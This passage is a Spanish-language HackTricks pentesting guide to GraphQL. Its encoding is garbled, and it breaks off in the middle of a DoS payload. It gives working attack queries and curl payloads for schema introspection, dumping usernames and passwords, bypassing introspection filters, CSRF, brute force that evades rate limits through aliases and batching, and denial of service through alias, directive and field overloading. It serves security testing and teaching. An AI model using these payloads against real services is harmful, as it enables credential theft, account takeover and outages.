GraphQL
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Introducci贸n
GraphQL se destaca como una alternativa eficiente a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a trav茅s de diversos endpoints para recopilar datos, GraphQL permite obtener toda la informaci贸n necesaria a trav茅s de una solicitud 煤nica. Esta simplificaci贸n beneficia significativamente a los desarrolladores al disminuir la complejidad de sus procesos de obtenci贸n de datos.
GraphQL y Seguridad
Con la llegada de nuevas tecnolog铆as, incluido GraphQL, tambi茅n surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que GraphQL no incluye mecanismos de autenticaci贸n por defecto. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticaci贸n adecuada, los endpoints de GraphQL pueden exponer informaci贸n sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
Ataques de Fuerza Bruta en Directorios y GraphQL
Para identificar instancias de GraphQL expuestas, se recomienda la inclusi贸n de rutas espec铆ficas en ataques de fuerza bruta en directorios. Estas rutas son:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a trav茅s del endpoint. El sistema de introspecci贸n de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para m谩s informaci贸n sobre esto, consulta la documentaci贸n de GraphQL sobre introspecci贸n: GraphQL: Un lenguaje de consulta para APIs.
Huella Digital
La herramienta graphw00f es capaz de detectar qu茅 motor de GraphQL se utiliza en un servidor y luego imprime informaci贸n 煤til para el auditor de seguridad.
Consultas Universales
Para verificar si una URL es un servicio de GraphQL, se puede enviar una consulta universal, query{__typename}
. Si la respuesta incluye {"data": {"__typename": "Query"}}
, confirma que la URL alberga un endpoint de GraphQL. Este m茅todo se basa en el campo __typename
de GraphQL, que revela el tipo del objeto consultado.
query{__typename}
Enumeraci贸n B谩sica
Graphql generalmente soporta GET, POST (x-www-form-urlencoded) y POST(json). Aunque por razones de seguridad se recomienda permitir solo json para prevenir ataques CSRF.
Introspecci贸n
Para usar la introspecci贸n y descubrir informaci贸n del esquema, consulta el campo __schema
. Este campo est谩 disponible en el tipo ra铆z de todas las consultas.
query={__schema{types{name,fields{name}}}}
Con esta consulta encontrar谩s el nombre de todos los tipos que se est谩n utilizando:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los args). Esto ser谩 muy 煤til para saber c贸mo consultar la base de datos.
Errores
Es interesante saber si los errores se van a mostrar ya que contribuir谩n con informaci贸n 煤til.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Enumerar el esquema de la base de datos a trav茅s de la introspecci贸n
note
Si la introspecci贸n est谩 habilitada pero la consulta anterior no se ejecuta, intenta eliminar las directivas onOperation
, onFragment
y onField
de la estructura de la consulta.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Consulta de introspecci贸n en l铆nea:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
La 煤ltima l铆nea de c贸digo es una consulta graphql que volcar谩 toda la meta-informaci贸n del graphql (nombres de objetos, par谩metros, tipos...)
Si la introspecci贸n est谩 habilitada, puedes usar GraphQL Voyager para ver en una GUI todas las opciones.
Consultando
Ahora que sabemos qu茅 tipo de informaci贸n se guarda dentro de la base de datos, intentemos extraer algunos valores.
En la introspecci贸n puedes encontrar qu茅 objeto puedes consultar directamente (porque no puedes consultar un objeto solo porque existe). En la imagen siguiente puedes ver que el "queryType" se llama "Query" y que uno de los campos del objeto "Query" es "flags", que tambi茅n es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.
Ten en cuenta que el tipo de la consulta "flags" es "Flags", y este objeto se define como se muestra a continuaci贸n:
Puedes ver que los objetos "Flags" est谩n compuestos por name y value. Luego puedes obtener todos los nombres y valores de las flags con la consulta:
query={flags{name, value}}
Tenga en cuenta que en caso de que el objeto a consultar sea un tipo primitivo como string como en el siguiente ejemplo
Puede consultarlo simplemente con:
query = { hiddenFlags }
En otro ejemplo donde hab铆a 2 objetos dentro del objeto de tipo "Query": "user" y "users".
Si estos objetos no necesitan ning煤n argumento para buscar, podr铆a recuperar toda la informaci贸n de ellos simplemente pidiendo los datos que desea. En este ejemplo de Internet podr铆a extraer los nombres de usuario y contrase帽as guardados:
Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este error:
Parece que de alguna manera buscar谩 utilizando el argumento "uid" de tipo Int.
De todos modos, ya lo sab铆amos, en la secci贸n de Basic Enumeration se propuso una consulta que nos mostraba toda la informaci贸n necesaria: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Si lees la imagen proporcionada cuando ejecuto esa consulta, ver谩s que "user" ten铆a el arg "uid" de tipo Int.
As铆 que, realizando un ligero uid bruteforce, descubr铆 que en uid=1 se recuper贸 un nombre de usuario y una contrase帽a:
query={user(uid:1){user,password}}
Nota que descubr铆 que pod铆a pedir los par谩metros "user" y "password" porque si intento buscar algo que no existe (query={user(uid:1){noExists}}
) obtengo este error:
Y durante la fase de enumeraci贸n descubr铆 que el objeto "dbuser" ten铆a como campos "user" y "password.
Truco de volcado de cadena de consulta (gracias a @BinaryShadow_)
Si puedes buscar por un tipo de cadena, como: query={theusers(description: ""){username,password}}
y buscas una cadena vac铆a, volcar谩 todos los datos. (Nota que este ejemplo no est谩 relacionado con el ejemplo de los tutoriales, para este ejemplo sup贸n que puedes buscar usando "theusers" por un campo de cadena llamado "description").
B煤squeda
En esta configuraci贸n, una base de datos contiene personas y pel铆culas. Las personas se identifican por su correo electr贸nico y nombre; las pel铆culas por su nombre y calificaci贸n. Las personas pueden ser amigas entre s铆 y tambi茅n tener pel铆culas, indicando relaciones dentro de la base de datos.
Puedes buscar personas por el nombre y obtener sus correos electr贸nicos:
{
searchPerson(name: "John Doe") {
email
}
}
Puedes buscar personas por el nombre y obtener sus pel铆culas suscritas:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Nota c贸mo se indica recuperar el name
de los subscribedMovies
de la persona.
Tambi茅n puedes buscar varios objetos al mismo tiempo. En este caso, se realiza una b煤squeda de 2 pel铆culas:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
O incluso relaciones de varios objetos diferentes utilizando alias:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutaciones
Las mutaciones se utilizan para realizar cambios en el lado del servidor.
En la introspecci贸n puedes encontrar las mutaciones declaradas. En la siguiente imagen, el "MutationType" se llama "Mutation" y el objeto "Mutation" contiene los nombres de las mutaciones (como "addPerson" en este caso):
En esta configuraci贸n, una base de datos contiene personas y pel铆culas. Las personas se identifican por su correo electr贸nico y nombre; las pel铆culas por su nombre y calificaci贸n. Las personas pueden ser amigas entre s铆 y tambi茅n tener pel铆culas, indicando relaciones dentro de la base de datos.
Una mutaci贸n para crear nuevas pel铆culas dentro de la base de datos puede ser como la siguiente (en este ejemplo, la mutaci贸n se llama addMovie
):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Nota c贸mo tanto los valores como el tipo de datos se indican en la consulta.
Adem谩s, la base de datos admite una operaci贸n de mutaci贸n, llamada addPerson
, que permite la creaci贸n de personas junto con sus asociaciones a amigos y pel铆culas existentes. Es crucial notar que los amigos y las pel铆culas deben preexistir en la base de datos antes de vincularlos a la persona reci茅n creada.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Sobrecarga de Directivas
Como se explica en una de las vulnerabilidades descritas en este informe, una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.
Agrupaci贸n de fuerza bruta en 1 solicitud API
Esta informaci贸n fue tomada de https://lab.wallarm.com/graphql-batching-attack/.
Autenticaci贸n a trav茅s de la API de GraphQL con el env铆o simult谩neo de muchas consultas con diferentes credenciales para verificarlo. Es un ataque cl谩sico de fuerza bruta, pero ahora es posible enviar m谩s de un par de inicio de sesi贸n/contrase帽a por solicitud HTTP debido a la funci贸n de agrupaci贸n de GraphQL. Este enfoque enga帽ar铆a a las aplicaciones externas de monitoreo de tasas haci茅ndoles pensar que todo est谩 bien y que no hay un bot de fuerza bruta intentando adivinar contrase帽as.
A continuaci贸n, puedes encontrar la demostraci贸n m谩s simple de una solicitud de autenticaci贸n de aplicaci贸n, con 3 pares de correo electr贸nico/contrase帽a diferentes a la vez. Obviamente, es posible enviar miles en una sola solicitud de la misma manera:
Como podemos ver en la captura de pantalla de la respuesta, la primera y la tercera solicitudes devolvieron null y reflejaron la informaci贸n correspondiente en la secci贸n de error. La segunda mutaci贸n ten铆a los datos de autenticaci贸n correctos y la respuesta tiene el token de sesi贸n de autenticaci贸n correcto.
GraphQL Sin Introspecci贸n
Cada vez m谩s puntos finales de graphql est谩n deshabilitando la introspecci贸n. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como clairvoyance recreen la mayor parte del esquema.
Adem谩s, la extensi贸n de Burp Suite GraphQuail observa las solicitudes de API de GraphQL que pasan a trav茅s de Burp y construye un esquema interno de GraphQL con cada nueva consulta que ve. Tambi茅n puede exponer el esquema para GraphiQL y Voyager. La extensi贸n devuelve una respuesta falsa cuando recibe una consulta de introspecci贸n. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para m谩s informaci贸n ver esto.
Una buena lista de palabras para descubrir entidades de GraphQL se puede encontrar aqu铆.
Eludir las defensas de introspecci贸n de GraphQL
Para eludir las restricciones en las consultas de introspecci贸n en las API, insertar un car谩cter especial despu茅s de la palabra clave __schema
resulta efectivo. Este m茅todo explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspecci贸n al centrarse en la palabra clave __schema
. Al agregar caracteres como espacios, nuevas l铆neas y comas, que GraphQL ignora pero que podr铆an no estar contemplados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspecci贸n con una nueva l铆nea despu茅s de __schema
puede eludir tales defensas:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Si no tiene 茅xito, considere m茅todos de solicitud alternativos, como solicitudes GET o POST con x-www-form-urlencoded
, ya que las restricciones pueden aplicarse solo a las solicitudes POST.
Intente WebSockets
Como se mencion贸 en esta charla, verifique si podr铆a ser posible conectarse a graphQL a trav茅s de WebSockets, ya que eso podr铆a permitirle eludir un posible WAF y hacer que la comunicaci贸n de WebSocket filtre el esquema de graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Descubriendo Estructuras GraphQL Expuestas
Cuando la introspecci贸n est谩 deshabilitada, examinar el c贸digo fuente del sitio web en busca de consultas precargadas en bibliotecas de JavaScript es una estrategia 煤til. Estas consultas se pueden encontrar utilizando la pesta帽a Sources
en las herramientas de desarrollo, proporcionando informaci贸n sobre el esquema de la API y revelando potencialmente consultas sensibles expuestas. Los comandos para buscar dentro de las herramientas de desarrollo son:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF en GraphQL
Si no sabes qu茅 es CSRF, lee la siguiente p谩gina:
CSRF (Cross Site Request Forgery)
All铆 afuera podr谩s encontrar varios endpoints de GraphQL configurados sin tokens CSRF.
Ten en cuenta que las solicitudes de GraphQL generalmente se env铆an a trav茅s de solicitudes POST utilizando el Content-Type application/json
.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Sin embargo, la mayor铆a de los endpoints de GraphQL tambi茅n soportan form-urlencoded
solicitudes POST:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Por lo tanto, dado que las solicitudes CSRF como las anteriores se env铆an sin solicitudes de preflight, es posible realizar cambios en el GraphQL abusando de un CSRF.
Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie de la bandera samesite
de Chrome es Lax
. Esto significa que la cookie solo se enviar谩 desde un sitio web de terceros en solicitudes GET.
Tenga en cuenta que generalmente es posible enviar la solicitud de consulta tambi茅n como una solicitud GET y el token CSRF podr铆a no estar siendo validado en una solicitud GET.
Adem谩s, abusando de un XS-Search ataque podr铆a ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.
Para m谩s informaci贸n verifique el post original aqu铆.
Secuestro de WebSocket entre sitios en GraphQL
Similar a las vulnerabilidades CRSF que abusan de graphQL, tambi茅n es posible realizar un secuestro de WebSocket entre sitios para abusar de una autenticaci贸n con GraphQL con cookies no protegidas y hacer que un usuario realice acciones inesperadas en GraphQL.
Para m谩s informaci贸n consulte:
Autorizaci贸n en GraphQL
Muchas funciones de GraphQL definidas en el endpoint pueden solo verificar la autenticaci贸n del solicitante pero no la autorizaci贸n.
Modificar las variables de entrada de la consulta podr铆a llevar a detalles sensibles de la cuenta filtrados.
La mutaci贸n podr铆a incluso llevar a la toma de control de la cuenta al intentar modificar otros datos de la cuenta.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass de autorizaci贸n en GraphQL
Encadenar consultas juntas puede eludir un sistema de autenticaci贸n d茅bil.
En el ejemplo a continuaci贸n, puedes ver que la operaci贸n es "forgotPassword" y que solo deber铆a ejecutar la consulta forgotPassword asociada. Esto se puede eludir agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.
Eludir l铆mites de tasa usando alias en GraphQL
En GraphQL, los alias son una caracter铆stica poderosa que permite la nominaci贸n de propiedades expl铆citamente al hacer una solicitud de API. Esta capacidad es particularmente 煤til para recuperar m煤ltiples instancias del mismo tipo de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitaci贸n que impide que los objetos de GraphQL tengan m煤ltiples propiedades con el mismo nombre.
Para una comprensi贸n detallada de los alias de GraphQL, se recomienda el siguiente recurso: Aliases.
Si bien el prop贸sito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado donde los alias pueden ser aprovechados para ejecutar ataques de fuerza bruta en un endpoint de GraphQL. Esto es posible porque algunos endpoints est谩n protegidos por limitadores de tasa dise帽ados para frustrar ataques de fuerza bruta al restringir el n煤mero de solicitudes HTTP. Sin embargo, estos limitadores de tasa pueden no tener en cuenta el n煤mero de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusi贸n de m煤ltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitaci贸n de tasa.
Considera el ejemplo proporcionado a continuaci贸n, que ilustra c贸mo se pueden usar consultas con alias para verificar la validez de los c贸digos de descuento de la tienda. Este m茅todo podr铆a eludir la limitaci贸n de tasa ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificaci贸n de numerosos c贸digos de descuento simult谩neamente.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS en GraphQL
Sobrecarga de Alias
Sobrecarga de Alias es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor de backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una Denegaci贸n de Servicio (DoS). Por ejemplo, en la consulta a continuaci贸n, el mismo campo (expensiveField
) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Para mitigar esto, implemente l铆mites de conteo de alias, an谩lisis de complejidad de consultas o limitaci贸n de tasa para prevenir el abuso de recursos.
Agrupaci贸n de Consultas Basada en Arreglos
Agrupaci贸n de Consultas Basada en Arreglos es una vulnerabilidad donde una API de GraphQL permite agrupar m煤ltiples consultas en una sola solicitud, lo que permite a un atacante enviar un gran n煤mero de consultas simult谩neamente. Esto puede abrumar el backend al ejecutar todas las consultas agrupadas en paralelo, consumiendo recursos excesivos (CPU, memoria, conexiones a la base de datos) y potencialmente llevando a un Denial of Service (DoS). Si no existe un l铆mite en el n煤mero de consultas en un lote, un atacante puede explotar esto para degradar la disponibilidad del servicio.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
En este ejemplo, 10 consultas diferentes se agrupan en una sola solicitud, obligando al servidor a ejecutar todas simult谩neamente. Si se explota con un tama帽o de lote m谩s grande o consultas computacionalmente costosas, puede sobrecargar el servidor.
Vulnerabilidad de Sobrecarga de Directivas
Sobrecarga de Directivas ocurre cuando un servidor GraphQL permite consultas con directivas excesivas y duplicadas. Esto puede abrumar el analizador y el ejecutor del servidor, especialmente si el servidor procesa repetidamente la misma l贸gica de directiva. Sin una validaci贸n o l铆mites adecuados, un atacante puede explotar esto creando una consulta con numerosas directivas duplicadas para provocar un alto uso computacional o de memoria, lo que lleva a una Denegaci贸n de Servicio (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Tenga en cuenta que en el ejemplo anterior @aa
es una directiva personalizada que puede no estar declarada. Una directiva com煤n que suele existir es @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Tambi茅n puedes enviar una consulta de introspecci贸n para descubrir todas las directivas declaradas:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Y luego usa algunos de los personalizados.
Vulnerabilidad de Duplicaci贸n de Campos
Duplicaci贸n de Campos es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 